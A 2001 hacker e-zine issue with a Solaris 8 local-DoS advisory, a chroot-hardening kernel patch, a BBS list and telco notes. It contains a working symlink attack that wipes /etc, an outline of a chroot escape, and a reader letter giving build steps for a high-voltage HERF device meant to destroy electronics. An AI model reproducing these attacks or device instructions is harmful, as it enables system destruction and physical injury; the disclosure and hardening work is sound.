Napalm Magazine issue #12 - In this issue: Local DoS in Solaris 8, Why chroot(2) sucks (includes a linux kernel patch to secure it), DSL and Ma Bell, BBS list, and more.
107c7da450c3849f79a2f560b027fb9cc0cd37652190823870b8d6ca57dcbf04 /\ /^/_ _ __ __ _|^|_ __ ___
/ \/ / _` '_ \/ _` | | '_ ` _ \
/ /\ / (_| |_) (_| | | | | | | |
/ / \/ \__, .__/\__,_|_|_| |_| |_|
|_|
. . . ..n12: 2001.10.15
---------------------------------------------------------------------------
all content copyright © 2001 by the individual authors. all rights reserved
---------------------------------------------------------------------------
. . . .....................................................................
0x00 Editor's Comments
0x01 URLs
0x02 Mailbag
0x03 BBS List
0x04 Local DoS in Solaris 8
0x05 Why chroot(2) Sucks
0x06 DSL and Ma Bell
0x07 Music Reviews
0x08 Credits
..................................................................... . . .
________________________________
------------------------- - ajax
[=] 0x00: Editor's Comments
Hi kids. Remember Napalm? Issue 11 was a hella long time ago, and I was
unavailable for most of it, so kynik pretty much put it out by himself. I
felt bad and said I'd do n12. It's amazing how much other stuff your life
finds for you to do when you've got a zine to put out. Oh well. It could
be worse. It could be Phrack.
____________________________
------------ - _azure, kynik
[=] 0x01: URLs
Constitution Society (research and advocacy)
http://www.constitution.org/
Intelligence Forum
http://www.intelforum.org/
The AOL Protocol
http://www.aol-files.com/misc/theaolprotocol.wri
Telco Recordings
http://www.payphone-directory.org/sounds.html
The Intelligence Network
http://www.intellnet.org/
______________________
--------------- - ajax
[=] 0x02: Mailbag
Date: Tue, 25 Sep 2001 06:25:24 -0700 (PDT)
From: ali shafiy <tiger_110_ir@yahoo.com>
To: ajax@firest0rm.org
Subject: helpppppppppppp
hi
how are you
sorry can you help us?
we need booter program in yahoo mesenger ok?
please send to us ok|\
tiger_110_ir@yahoo.com
or
etehad_no@yahoo.com
we need your help sr.
thanx
sorry
byeeeeeeeeeeeeeeee
[ wow. i, er, um... wow. i wish i were making this up. the next one is
way better, i promise. {ajax} ]
[ Didn't everybody get this one? {Rsquared} ]
---
Date: Tue, 11 Sep 2001 17:34:22 +0530
From: "neelandan<oo7scs@yahoo.com>" <oo7scs@yahoo.com>
To: kynik@firest0rm.org
Subject: HERF and Tempest - why they are related
This is with reference to the article on HERF gun which appeared in
issue 3 of NAPALM. I would like to approach the construction of the
device from a different angle, to see if the same end can be achieved by
different means. (In other words, I would like to shove my two bits in.)
That article set me thinking on the problem of defence. Surprisingly,
the techniques are well known and recommended, though for other reasons.
EMP hardening (TEMPEST) is desirable, necessary, and should be considered
an essential part of securing any computing device which handles sensitive
information.
Standard Disclaimer -
If you try to construct the device described in this article, you are
likely to be found dead on the roof with a dish antenna, a television
set and some bizarre equipment. Everyone will assume you were trying to
rig up some new crazy satellite receiver - and then they will find the
hard copy of this article near you. WE ARE NOT RESPONSIBLE FOR ANYTHING!
The description refers to a hypothetical device, against which defences
are discussed.
[ Let me reiterate for the author: you are likely to make yourself
sterile, blind, burned, dead, or all of the above. {kynik} ]
***
The aim of the device to be described is to induce high voltage
breakdown and subsequent destruction in semiconductor devices in the
target area. An estimate is made of the energy necessary to cause such
destruction and the equipment necessary to produce the necessary HERF beam
shall be described. Finally the defences against such an attack shall be
discussed.
***
We shall target LSI Digital Circuits commonly found inside computing
machines. The supply voltage of such devices is usually 5V. Destructive
breakdown of the MOS structure inside can be guaranteed to occur at an
over-voltage of five to ten times, a minimum of 25 to 50 V. ESD
protection on the inputs enable it to withstand normal handling. The RF
energy needed to overwhelm the input protection can be assessed from
published data on chip protection by the manufacturers. Taking the trace
length inside the target chip to be 5mm, we need an induced electric field
of around 5 to 10 V/mm which translates to an electric field strength of
ten thousand volts per meter.
***
Construction - HE RF PULSE CANNON
Theory
As Mr. Maxwell so accurately observed long ago, an oscillating electric
charge results in a radiated electromagnetic wave. For a pulse, a large
electric charge has to be made to jump. The amplitude of the pulse will
be proportional to the magnitude of the charge and the speed of the jump.
Parts of the System
1. 25KV Power Supply
2. Voltage Multiplier
3. 1MV Switch
4. Antenna
We shall look at each of these separately. They are all commonly
available, or easily improvised, as shall be demonstrated.
1. 25KV Power Supply
Any good colour TV set has a power supply inside it which is capable of
sourcing about a milliampere at 25 Kilovolts. It is easier to use, and
explain away the reason for possession of, such a readily available source
rather than rig up your own. If you need a compact device, and you know
how to do it, just take a junked TV set and extract the EHT section.
So - you take your TV, and open it up. Inside, you will find a thick
cable clipped to the belly of the picture tube - that is the EHT cable.
Lift the round rubber guard round the connection and you will be able to
see the clip securing the connection. Pry it off with a screwdriver.
Attach an insulated cable to that clip and there you have it - 25KV.
2. Voltage Multiplier
For a decent output from our device, we need a decently high voltage.
Say 1 million volts - nice, round figure. We need to multiply the output
of the TV by about 40 times.
We take 40 capacitors, charge them all to 25KV in parallel and discharge
them in series. That would give us 1MV. To allow for losses in the
multiplier, it would be better to take 50 caps.
The capacitors need to be capable of withstanding 25KV for an indefinite
time - say 30 minutes. Beer bottles, salt water and aluminium foil would
be fine for a few stages. For 50 stages it would be better to use square
glass plates interleaved with aluminium foil and immersed in oil.
For charging the capacitors in parallel, high value resistors are
connected as shown in the diagram. These resistors each need to withstand
50KV - you might try wide strips of newspaper as the resistive element.
in+o-----/\/\/\----/\/\/\/\----/\/\/\/\-----/\/\/\/\----/\/\/\/\----O out+
| | | | | |
|---- |---- |---- |---- |---- |
| | | | | | | | | | |
=== o === o === o === o === o ===
| /o | o | o | o | o |
| | | | | | | | | | | |
| | ------| -----| -------| -------| ------|
| trig | | | | |
in-o-------/\/\/\----/\/\/\/\----/\/\/\/\-----/\/\/\/\----/\/\/\/\-
|
L-------------------------------------------------------------O out-
We need 50 switches each capable of switching 25KV - not something to be
found in every hardware store. However, we can make use of spark gaps to
perform the switching. The gaps are adjusted until they just do not break
down at 25KV. Then a spark induced at the first gap by an auxiliary
electrode (or just move it!) will cause a cascade of sparks and 1MV
appears at the output. An automotive ignition coil and battery may be used
as the trigger source. Or a relay may be rigged with an extension to its
armature to move the two electrodes closer together.
More information on suitable capacitors, spark gaps and construction
techniques are easy to find - just search the web for "tesla coil".
3. 1MV Switch
We need a switch which will hold its 'off' state up to 1MV, and then in
the space of a few nanoseconds switch on and hold its on state for a few
hundred nanosec. An oil quenched spark gap seems to be indicated. You need
a suitable oil in order to have the minimum dimensions.
The ideal device, if you can get it, is the vacuum interrupter. This
consists of two contacts which make and break in vacuum.
The 1MV switch forms part of the radiator and so it has to have low
inductance, which indicates a device of the smallest dimensions. It is
integrated into the wideband radiator assembly at the focus of a parabolic
reflector.
Small size is essential for the efficiency of the next part in the
chain, which is...
4. The Antenna
A radiating element and a reflector assembly to concentrate the energy
together make up the antenna. This is a transmitting antenna, and as such
its size does not, to a first approximation, affect the efficiency.
**
Now here is a short detour:
A larger area results in a proportionally larger signal output in the
case of a receiving antenna. It has to physically intercept the radiated
energy in order to convert it to RF currents in the feeder.
In the case of the transmitting antenna, all the energy supplied to it
minus that used to heat it up gets radiated. So provided the losses can
be minimised, there is no reason for the transmitting antenna to be made
as large as the receiving one.
The antenna is a device for matching the impedance of free space (377
ohms) to the impedance of the feeder. The theory and designs can be
found in many textbooks. What we need is a narrow beamwidth and a
minimum of loss.
Back on the highway:
**
A wide band radiating dipole is connected with the switch at the centre,
separating the two halves. The radiating elements are charged up to 1MV
and then the switch is closed. The stored energy in the antenna elements
get launched into space as an electromagnetic pulse.
The energy being launched into the ether is the energy in the antenna.
So the radiating element must have a high capacitance, low inductance and
must be resonant at as high frequency as possible.
It does not pay to have energy stored in a capacitor away from the
antenna. It would not have any effect on the amplitude of the pulses.
But the effect would be to prolong the duration of the discharge by
producing a long train of pulses with exponentially decaying amplitude.
The succeeding smaller pulses would not be of help in causing damage but
would possibly attract the attention of the authorities which may result
in confiscation of equipment, a spell in the cooler, and lack of net
access (NAPALM!) for the prescribed period.
-----------< cut here >------------
Now, let us suppose that that snotty kid across the block, too, is a
NAPALM fan and he is seen with a TV set, parabolic antenna, newspaper
strips and glass plates. Obviously, after having tried to hack into your
computer unsuccessfully he is trying to trash it forever. The question is:
What defences can you take?
(Scale it up:)
The prez of Lilliput has allocated umpteen haptillion bafotts to develop
the ultimate weapon to neutralise the enemy's defences. One shot and all
the big-endian computers of Blefuscu will be wiped out. Even that dumb
general Flestrin's hearing aid will cease to work and then his army and
navy will become sitting ducks. Little endianism will become the world
standard. Shouldn't the King of Blefuscu pull up his trousers? Shouldn't
Brobdingnag send its Carrier to the area to ensure peace?
(Scale it down:)
"There is Plenty of Room at the Bottom" - Richard. P. Feynman
Megahard dumbShoot ships in a packet which also contains small grains
of sand. HEY! On closer examination, they are microchips with integral
power supply and antenna. They have been programmed to fire whenever the
emissions of a computer running a rival's operating system is detected.
Eventually, all those "other" OSes will gain notoriety for instability, for
causing inexplicable computer crashes, and Megahard cashes in. Can
somebody manufacture a small device which could be sneaked into your
computer and which could disrupt its operation, randomly or on
command?
(Thunder, By Thor!)
There, (meow) the cat is out. It so happens that in nature there is the
neatest natural equivalent of the HERF device in lightning. The voltage is
far higher than any TV set and the current is large enough to melt thick
copper lightning conductors. Our equipment has been exposed to it from
birth, so as to speak, and the survival has been observed to vary from
complete destruction to relative immunity. Relative, because solid-state
devices can't withstand a direct lightning strike (as far as I know).
[ Probably not. At high voltages with just about all semiconductors,
Ohm's Law breaks down, i.e., it melts or catches fire. {ajax} ]
Making your equipment capable of withstanding the effects of lightning
discharges should also make it withstand the efforts of the snotty kid
across the block.
Now what about the scaled up attack? It so happens that the atmosphere
is a relatively hostile medium to the propagation of a high powered HERF
pulse (Which is why the Star Wars program was to be put up in space). When
a certain electric field intensity is reached the air becomes conducting
and the larger part of the pulse is utilised in heating it up. The rest
of it gets scattered, and is of no threat to your computer.
The scaled down attack? It is possible for some such device to be
sneaked into your den (Free Mouse Pad!) but it should be easy to track
down and eliminate, at the present state of the technology. When somebody
makes 'em light enough to float through the air into the computer case,
Boy! do we have a problem! Hopefully then, the devices inside our computer
case would be so advanced as to ignore extraneous pulses. Or the computer
itself would be floating around the room. In several parts, and no case.
Consult Nostradomus for more information on what the future might hold.
[ "Ignoring extraneous pulses" is amazingly hard. Optical computers,
however, are both feasible, faster (photon through air has less
propagation delay than electron through copper), and don't suffer from
induced currents in the same way. It's a possibility. {ajax} ]
There are stringent guidelines in force on the amount of RF emitted by
any computing device. Abide by them. The reciprocity principle holds true
here - if your computer is emitting a lot of hash into the ether, it is
suceptible to whatever may come wafting in: Thor hefting his hammer. That
snotty kid firing up his device. Or a fleet of satellites out there in
space synching up their pulses focusing on your town.
It would be a nice idea to listen to a portable radio at work. If you
can't, because of the interference, then you are potentially vulnerable.
You need to ensure holes are plugged, leads screened and filtered, and
cables shielded and terminated. Go by the textbooks on EMI shielding and
suppression. The manufacturers are doing their bit, making their machines
emit less, but adding peripherals might also add EMI leaks.
[ Part of FCC regulations say that a device "may not cause harmful
interference." This is good. Also that a device "must accept any
interference received, including interference that may cause undesired
operation." No, really! Read the bottom of any electronic device. So
your PC is only obeying the law when it gets fried by a HERF pulse. I
think we can all agree this is a stupid regulation. {Rsquared} ]
Radio and TV tuner cards for computers put the facility for digitizing
a portion of the RF spectrum into everyone's reach. Select a suitable
frequency range, point an antenna at your computer, download programs off
the net and you have script kiddiez pawing through the data you hold
sacred in the depths of your hard drive. Unless, of course, you have taken
precautions against Thor, Snotty kid, Lilliput, Megahard and kiddiez.
Quite an impressive list, isn't it?
I've started with a HERF gun and ended with EMI shielding. But the
issues involved concern the security of information - and for once no
networks are involved. I strongly feel each one of us should be aware
of the risks consequent on emission of EMI and take the necessary actions
to minimise any hazards.
neelandan<oo7scs> INDIA
[ Rawk. Thanks much. I love unsolicited article contributions. {ajax} ]
[ Especially when they're relevant and good quality. {kynik} ]
_________________________
---------------- - _azure
[=] 0x03: BBS List
.------------------------------------------------------------------------.
| |
|---------------------------/ BBS List - 09/28/01 /----------------------|
`------------------------------------------------------------------------'
azure@gh0st.net ================================= http://azure.gh0st.net
+------------------------------------------------------------------------+
| BBS Name | Connect With | Number / Address |
+------------------------------------------------------------------------+
| Digital Decay | Modem | (741)871-2057 |
| | Telnet | dd.23.org |
| Firest0rm BBS | SSH | bbs.firest0rm.org |
| Glenside's Cup of CoCo | Modem | (847) 428-0436 |
| noname BBS | SSH | bbs.crimelabs.net |
| OSUNY U.K. | Telnet/SSH:7734 | osuny.co.uk |
| Sacrificial Lamb | SSH | english.gh0st.net |
| The Upper Deck | SSH | bbs.vistech.net |
+------------------------------------------------------------------------+
______________________________________
------------------------------ - echo8
[=] 0x04: Local DoS in Solaris 8
Summary
-------
The smcboot startup procedure in certain hardware releases of Solaris 8
contains a security hole which can lead to a local denial of service and
can leave the target system crippled.
Details
-------
Out of the box, one of the startup scripts that runs upon boot on the
affected Solaris releases is /etc/rc2.d/S90wbem. That script contains the
following block of code:
SMC_PORT=`getent services ftp | cut -d' ' -f1`
if [ -n "$SMC_PORT" ]; then
SMC_PORT=898
fi
later, the script calls smcboot:
if [ -n "$VIPER_HOME" ]; then
$VIPER_HOME/bin/smcboot
else
Apparently, smcboot uses /tmp/smc$SMC_PORT as the directory in which it
keeps its pid file and possibly other state-keeping information. This is
speculation, but is strengthened by the code in the rest of the startup
script, which references that directory in the context of shutting the
service down, and by the observable behavior of smcboot:
if [ -n "$VIPER_HOME" ]; then
if [ -f /tmp/smc$SMC_PORT/boot.pid ]; then
kill -TERM `cat /tmp/smc$SMC_PORT/boot.pid`
else
$VIPER_HOME/bin/smcserver -p $SMC_PORT stop
fi
...
In any event, the smcboot process runs as root, does not properly handle
the existence of /tmp/smc$SMC_PORT if it already exists, and apparently
removes files in its target directory. Thus, it can be forced to remove
arbitrary files under the right conditions. Because /tmp is world-writable
and cleared at boot time, an unprivileged user who symbolically links
/tmp/smc$SMC_PORT to an arbitrary directory early during the boot cycle
(before S90wbem runs) can severely damage the contents of that target
directory.
In order to execute this attack, the user would have to be able to
create the link between the time that the system boots (when /tmp is
cleared) and when S90wbem starts. As S90wbem runs after S72inetsvc and
S75cron, a narrow window exists in which a malicious user could log on to
the system (or during which a pre-submitted cron job could run) and
symbolically link /tmp/smc$SMC_PORT to a target directory. When S90wbem
runs, the non-directory contents of the target directory will be
destroyed.
The problem is made easier to exploit by anything which slows down the
boot process at the right spot (for example, if S75savecore has a large
coredump to write out). There are other conditions under which the hole
could be exploitable (eg. if smcboot is disabled by default, but a
sysadmin decides to manually start it).
I found almost no documentation whatsoever on WBEM or smcboot on
Sunsolve, both on the public and customer (restricted access) web sites. I
will assume from the name of the process that this is a component of the
Sun Management Console (blatant speculation on my part; if you know
better, please let me know). There is no man page for smcboot on my
systems.
Demonstration
-------------
// IF YOU FOLLOW THIS PROCEDURE EXACTLY, YOU WILL CRIPPLE YOUR SYSTEM.
// YOU HAVE BEEN WARNED!!!
// this assumes that smcboot is not running, for the sake of simplicity.
$ cd /tmp
$ id
uid=60001(nobody) gid=60001(nobody)
$ pwd
/tmp
$ ln -s /etc smc898
$ ls -alt smc898
lrwxrwxrwx 1 nobody nobody 4 Sep 1 11:54 smc898 -> /etc
// now, we'll manually run /etc/rc2.d/S90wbem, as root, as the boot
// process ordinarily would.
# id
uid=0(root) gid=1(other)
# /etc/rc2.d/S90wbem start
stat: No such file or directory
stat: No such file or directory
stat: No such file or directory
mkdir: File exists
...
#
INIT: Cannot stat /etc/inittab, errno: 2
// as a result of the attack, we've pretty much wiped out everything in
// /etc...
# ls /etc
TIMEZONE inetd.conf mnttab protocols services
aliases log netmasks rc2.d sock2path
hosts lp networks security
#
INIT: Cannot stat /etc/inittab, errno: 2
Sep 1 16:01:25 foo init[1]: open_pam_conf: stat(/etc/pam.conf) failed:
No such file or directory
Sep 1 16:01:25 foo init[1]: open_pam_conf: stat(/etc/pam.conf) failed:
No such file or directory
INIT: SINGLE USER MODE
INIT: execle of /etc/sulogin failed; errno = 2
ENTER RUN LEVEL (0-6, s or S) [3]:
// This system is now wrecked. Restoration of files from backup will be
// necessary to fix the damage we've caused.
Vulnerable Versions
-------------------
Vulnerable: Solaris 8, Hardware 4/01 and 1/01.
Not vulnerable: Solaris 8, original release, Hardware 10/00.
The version of smcboot that ships with Solaris 9 Beta (whatever) exhibits
the same insecure behavior, but as it writes its temporary files to
/var/run (which is not world-writeable), it doesn't seem vulnerable to
the attack described above.
Versions of Solaris prior to Solaris 8 are not vulnerable, as they don't
contain the product in question. The above hardware releases are the ONLY
ones I tested.
Workarounds
-----------
Disable /etc/rc2.d/S90wbem. This will (obviously) remove whatever
functionality the service provides.
Alternatively, the startup script could made to run earlier in the
Solaris startup process, so that it executes before inetd starts or the
cron service becomes available. NOTE: I have NOT tested this. I have no
idea whether or not smcboot depends on any of those earlier processes in
order to function properly.
Vendor Notification
-------------------
Sun was notified on 9/4/2001. They assigned a BugID (available upon
request) and were able to readily reproduce the problem. T-patches (beta)
have been produced to address the issue. They are T109134-24 for sparc and
T109135-24 for x86. They are available through your Sun rep. Production
patches are scheduled for release sometime around 10/1/2001. I have NOT
personally seen or tested any of the T-patches. I can't say with any
certainty that they actually fix the problem, or that they do so in an
optimal way.
Addendum
--------
On a more personal note, I wish to point out that Sun has handled this
issue in a much more professional manner than certain others with which
I've been involved. On the subject of past offenses, Sun has removed the
wording from Sunsolve which wrongly assigns credit for my discovery of a
hole in Veritas Volume Manager to Sun and Veritas (see Napalm 6 & 11).
The advisory now simply states that "a security hole has been discovered"
(it used to say "Veritas has discovered..."). I'm glad I don't do this for
the fame or for the chicks...
Copyright, 9/17/2001, echo8@gh0st.net.
__________________________________
--------------------------- - ajax
[=] 0x05: Why chroot(2) Sucks
- Intro
The chroot(2) system call in Unix allows you to change the root
directory of a process. This is often used as a security mechanism to
limit the damage a process can do to a machine by limiting its view of the
filesystem. This isn't quite ideal behavior. What you really want is a
system call that prevents a process from changing any part of the system
outside its jail [1], not just the filesystem. However, for many uses,
chroot(2) is good enough. It does raise the bar significantly, and limits
the scope of the damage that can be done.
- chroot(2) is broken
Or it would raise the bar, anyway, assuming most implementations weren't
fundamentally broken. There is a subtle loophole that lets you escape a
chroot, if you can get root privilege inside the chroot. This has been
covered in great detail in www.bpfh.net/simes/computing/chroot-break.html,
so I won't go into it in great length here. The basic trick is to chroot
again, while holding open a file descriptor that points to a directory
outside the new chroot; then, fchdir() to the open file descriptor,
repeatedly chdir("..") until you hit the real "/", and chroot("."). Oops.
Some implementations (FreeBSD, notably) try to prevent this by
forbidding you to chroot twice if you have any file descriptors open that
point to directories. That's nice, but it only fixes the most flagrant
abuses of chroot. In the rest of this paper, I will attempt to enumerate
what else a chroot'd process can do that it (arguably) should not, and
present a patch for Linux that attempts to fix the worst offenses. [2]
Note that since I'm making the patch for Linux, I'm going to focus on some
Linux-specific features in this article; the concepts are universal
though.
- chroot(2) and devices
mknod(2) lets you create a file in the file system that corresponds to a
device attached to the computer. Therefore, a root process in a chroot can
effectively see and modify data outside its chroot by simply accessing the
associated block device. The simple fix, of course, is to not let a
process inside a chroot call mknod(2).
- chroot(2) and UNIX sockets
Unix domain sockets allow you to pass open file descriptors between
communicating processes. This would allow a process inside a chroot to
modify a file outside its chroot. The simple fix is not to allow processes
to pass file descriptors if they have different root directories.
Unix domain sockets are not very tightly bound to the file system. When
you connect(2) to a socket, the name lookup is not a pathname lookup;
it's a simple string match against the path the socket was bound to (at
least in Linux, other Unixes may be different). Therefore, a process
within a chroot can connect to sockets outside its chroot by simply
passing the right name to connect(2). The fix for this involves turning
the connect routine for pf_unix sockets into a pathname lookup relative to
the root directory of the calling process. A chrooted process should be
allowed to connect to any socket it can see within its chroot (i.e., a
process chrooted to /chroot should be able to connect to a socket named
/chroot/tmp/socket that is opened by a process running with / as its root
directory).
Even if we don't allow Unix domain sockets to connect across chroot
boundaries, they may still exist (anonymous socketpairs shared between a
parent and chrooted child, for example). Given the previous rule about
socket visibility, chrooted processes may legimately connect to sockets
opened from outside the chroot. Therefore getpeername(2) needs to be made
chroot-aware, to return mangled pathnames to chrooted processes. This gets
more complicated when you realize that the peer (outside the chroot) may
have been the connect(2)ing side, and may be bound to a name outside the
chroot; the fix in Linux in this case is to simply return the abstract
name of the socket.
- chroot(2) and process operations
Signal delivery is only tied to credentials, not a root directory. A
process running within a chroot is logically in a subset of the full set
of running processes. It should therefore not be allowed to deliver
signals to processes running in a less-restricted chroot. The simple fix
is to simply not allow signal delivery from one process to another if the
two don't have the same root directory. The right fix is: when sending a
signal from a chrooted process, walk up the directory tree from the root
of the sender until you find the root of the receiver, and fail if not
found. If there are three processes, rooted at /chroot, /chroot/a, and
/chroot/b, then the first can send signals to the second two, but the
latter two can only send signals to themselves, which seems logical.
Alternatively one could slice up the PID space by root directory, but
that's sick and wrong.
ptrace(2) doesn't respect chroot boundaries; a process within a chroot
can attach to (and arbitrarily manipulate) a process outside the chroot.
This is bad. Again, this can be fixed with a pathname lookup similar to
the one above. It can also be fixed by lowering the appropriate
capability.
Several capabilities should get cleared on chroot, among them:
sys_chroot, dac_override, linux_immutable, net_admin, net_raw, sys_module,
sys_rawio, sys_ptrace, sys_admin, sys_boot, sys_nice, sys_resource,
sys_time, sys_tty_config, and mknod. Better yet this should be a
sysctl'able mask. The patch below does this (the above capabilities are in
the "most" set described in the patch).
The CLONE_PID flag to clone(2) shouldn't be allowed, ever, as it
confuses parts of the kernel that expect PIDs to be unique, but it should
definitely not be allowed within a chroot.
- chroot(2) and kernel operations
Module operations still work within a chroot. This is not good. The easy
fix is to simply not allow module operations within a chroot. The complex,
clever, interesting fix is to limit some modules so that they only take
effect in filesystem scopes equal or more restrictive than the one they
were loaded in, but this is nearly impossible to implement (on x86, it
would rely on running modules at something other than ring 0).
The /proc filesystem is problematic within a chroot. The question is
whether it should lie or simply fail, when the information being read
might leak information or create security holes. As of 2.4, Linux's procfs
seems to behave pretty reasonably. If you mount /proc within a chroot,
most of the dangerous stuff within /proc/[pid] stops working (directories
and symlinks). mem and exe fail, environ doesn't fail but probably should.
/proc/mounts doesn't lie, meaning an attacker can see what block devices
are in use on a system. You can still write to /proc within a chroot, and
that's probably not good, it lets you do nasty stuff like change the
module loader and PCI registers and so forth. /proc/net/unix shows
pathnames relative to /, which is potentially bad (see above). Mounting
procfs read-only does behave as expected, so that's probably a smart idea
for any chroot environment that needs it.
I have not played much with devfs and chroots. Probably, it presents the
same device tree to all mounted instances, and that's not right. It
definitely doesn't create unique unix98 ptys for different chroots, which
means a process within a chroot can manipulate the terminal of a process
outside the chroot if it has sufficient privileges. devfs should be
changed to present only the requested subsets of the device tree to each
instace, on the no-mknod theory. devfs within a chroot is probably a bad
idea, though.
Swap space added to the system before the creation of the chroot, or by
unchrooted processes, is probably fine. Ideally if a process within a
chroot adds a swap space to the system it should only be visible within
that chroot, but that's asking way too much of the VM layer. It's
probably best to just forbid swapon(2) and swapoff(2) from chrooted
processes.
It may be desirable to prevent chrooted processes from changing the
system clock. However it's also desirable to run xntpd within a chroot to
mitigate any possible security holes. There's no easy answer to this one,
although the capability masking mentioned above can help.
set{host,domain}name(2) would ideally be local to each chroot. Barring
that, they should fail when called from a chrooted process.
/dev/console is problematic within a chroot. On the one hand renegade
processes shouldn't be able to spam the console; on the other hand we want
logging to work. The right thing is probably to not create a /dev/console
in the chroot, use syslog for logging, and configure that properly.
[ Please note ajax's use of the word 'probably' in many places here and
above. Keep that in mind. I doubt he's putting it there for the heck
of it. I'd bet some of this is still theoretical. Or maybe his
self-confidence is just a bit low ;) {kynik} ]
On x86, iopl(2), ioperm(2), and modify_ldt(2) should probably not be
allowed from within a chroot. quotactl(2) and sysctl(2) probably should
not allow changes. pivot_root(2) should fail. nfsservctl(2) should
probably just fail. prctl(2) should not allow you to set the "dumpable"
flag. Processes within a chroot should probably not be allowed to have
lower nice values than the process that created the chroot.
Most of these fall under the sys_admin capability.
- Footnotes
[1] - Sorry, poor terminology. FreeBSD has a funky jail(2) system call
that enforces a few more restictions, namely restricting IP traffic
to a specific IP address. I'm not entirely convinced of its
usefulness, but there it is.
[2] - I would make a patch for *BSD, but it would be gross and ugly. It
would require adding a field to the per-process data, and then
checking it in multiple places, in true BSD tissue-of-hacks fashion.
The Linux patch below is much more elegant; it revokes quite a few
capabilities on chroot. Said capabilities are already checked on
entry into the problematic system calls, so the changes are
localized and easier to verify.
- Appendix
The following is a patch for Linux that drops a sysctl'able mask of
capabilities on chroot. The mask starts at 0 at bootup; suggested values
are presented in the patch. This fixes most of the major abuses outlined
here by refusing to allow even root to do some things.
[ The patch is available separately from the Napalm homepage, so you don't
have to cut and paste. {kynik} ]
This patch is against a clean 2.4.12 tree. It will probably not apply
cleanly to much earlier kernels, but it only patches two files, if you
can't figure it out by hand you shouldn't be using this. Cut between the
-='s. Patch like normal (cd /usr/src && patch -p0 < tight-chroot.patch).
-= tight-chroot.patch
diff -u linux/fs/open.c.orig linux/fs/open.c
--- linux/fs/open.c.orig Wed Oct 10 15:59:34 2001
+++ linux/fs/open.c Wed Oct 10 23:08:18 2001
@@ -399,6 +399,15 @@
return error;
}
+/*
+ * the set of capabilities to drop after a chroot. can be modified from
+ * /proc/sys/kernel/chroot_cap_mask. suggested settings:
+ * 267072002 (turns off most capabilities, see napalm12 article)
+ * 536870911 (turns off all capabilities)
+ * 2363392 (turns off sys_admin, net_admin and sys_chroot)
+ */
+kernel_cap_t chroot_cap_mask = 0;
+
asmlinkage long sys_chroot(const char * filename)
{
int error;
@@ -427,6 +436,12 @@
set_fs_root(current->fs, nd.mnt, nd.dentry);
set_fs_altroot();
+
+ /* drop permissions */
+ cap_lower(current->cap_effective, chroot_cap_mask);
+ cap_lower(current->cap_inheritable, chroot_cap_mask);
+ cap_lower(current->cap_permitted, chroot_cap_mask);
+
error = 0;
dput_and_out:
path_release(&nd);
diff -u linux/kernel/sysctl.c.orig linux/kernel/sysctl.c
--- linux/kernel/sysctl.c.orig Wed Oct 10 19:43:56 2001
+++ linux/kernel/sysctl.c Wed Oct 10 23:08:02 2001
@@ -49,6 +49,7 @@
extern int sysrq_enabled;
extern int core_uses_pid;
extern int cad_pid;
+extern kernel_cap_t chroot_cap_mask;
/* this is needed for the proc_dointvec_minmax for [fs_]overflow UID and GID */
static int maxolduid = 65535;
@@ -255,6 +256,8 @@
{KERN_S390_USER_DEBUG_LOGGING,"userprocess_debug",
&sysctl_userprocess_debug,sizeof(int),0644,NULL,&proc_dointvec},
#endif
+ {KERN_CHROOT_CAP_MASK, "chroot_cap_mask", &chroot_cap_mask,
+ sizeof(kernel_cap_t), 0644, NULL, &proc_dointvec},
{0}
};
diff -u linux/include/linux/sysctl.h.orig linux/include/linux/sysctl.h
--- linux/include/linux/sysctl.h.orig Wed Oct 10 23:17:19 2001
+++ linux/include/linux/sysctl.h Wed Oct 10 23:08:56 2001
@@ -123,6 +123,7 @@
KERN_CORE_USES_PID=52, /* int: use core or core.%pid */
KERN_TAINTED=53, /* int: various kernel tainted flags */
KERN_CADPID=54, /* int: PID of the process to notify on CAD */
+ KERN_CHROOT_CAP_MASK=55, /* int: capability mask on chroot */
};
-= EOF
-=:[ ajax@firest0rm.org (c) 2001. don't steal. thanks.
________________________________
----------------------- - _azure
[=] 0x06: DSL and Ma Bell
.------------------------------------------------------------------------.
| |
|-----------/ Coaxing the Camel Through the Eye of a Needle /------------|
| |
| Digital Loop Electronics Breathe New Life |
| Into the Copper Infrastructure |
| |
`------------------------------------------------------------------------'
azure@gh0st.net ================================= http://azure.gh0st.net
In the mad dash for every company capable of stringing cable,
transmitting RF, or subletting service from someone who can to deliver
broadband to the last mile; the Regional Bell Operating Companies (RBOCs)
are finally being forced to drag their 19th century technology into the
digital age.
Sort of.
A recent article in _2600 Magazine: The Hacker Quarterly_ touched on
some of the underlying shifts in how modern telephone service is
provisioned and constructed by the Baby Bells, but failed to go into any
detail in regards to what shape these changes have taken. This article is
intended to be an informative overview of the "new paradigm" represented
by the massive roll-out of DSL capable lines by one of the remnants of
North America's favorite telecommunications monopoly.
Contrary to some reports, things are shifting around underneath Ma
Bell's skirt. The stimuli that has her all hot and bothered is (of
course) broadband, and Digital Subscriber Line (DSL) in particular.
_/ The Long Road to the Last Mile
The strange part is, data traveling to and from your DSL router will
still traverse the much coveted 'last mile' over copper. It's in how
they get up *to* that last mile that represents the true revolution for
traditional telco provisioning.
The arbiter of this revolution is called Digital Loop Electronics
(DLE). DLE is part of an initiative to develop a Next Generation Digital
Loop Carrier (NGDLC). DLE can support many different services, such as
POTS, ISDN, DS1, etc. simultaneously; while also providing capabilities
for DSL line sharing and new digital technologies yet to be rolled out.
This versatility is ideal in the competitive broadband environment the
RBOCs find themselves in. Instead of maintaining numerous different cable
and terminal technologies; DLE allows for a single standard of
distribution which can support virtually any service already offered (and
many more which are headed down the pipeline).
Traditionally, a telephone line has traversed a single, physical path
between the Central Office (CO) and the subscriber. The diagram below
illustrates a typical pre-DLE route between CO and customer via plain Pair
Gain (PG) cable; which bundles several lines together and terminates in a
Remote Terminal (RT) that in turn feeds copper to a neighborhood Serving
Terminal.
Pre-DLE Environment
Sub. ----------------- Sub.
|
Sub. --------|-------- Sub.
|
|
(PG cable) |
COT ------------ RT ------- X-Box ----- Serving
(F1) (F2) Terminal
This setup works pretty well. For voice traffic.
But the nature of DSL requires that subscribers be located within
twelve thousand feet of the CO which will be connecting their service.
Obviously, this requirement severely limits the number of customers a
telco can sell DSL service to. The telcos are solving this problem by
extending the CO into the field via fiber optics. This hack allows any
customer within two miles of an RT (which itself may be located several
miles from a central office) to purchase the same high-speed DSL line as
someone who lives only a block away from the CO itself. Fiber's signal
degradation over distance is much MUCH more forgiving than plain
copper, and its available bandwidth can also handle the massive amounts
of traffic generated by broadband users.
A new piece of equipment called the Litespan2000 (manufactured by
Alcatel) makes this common distribution for multiple service-types
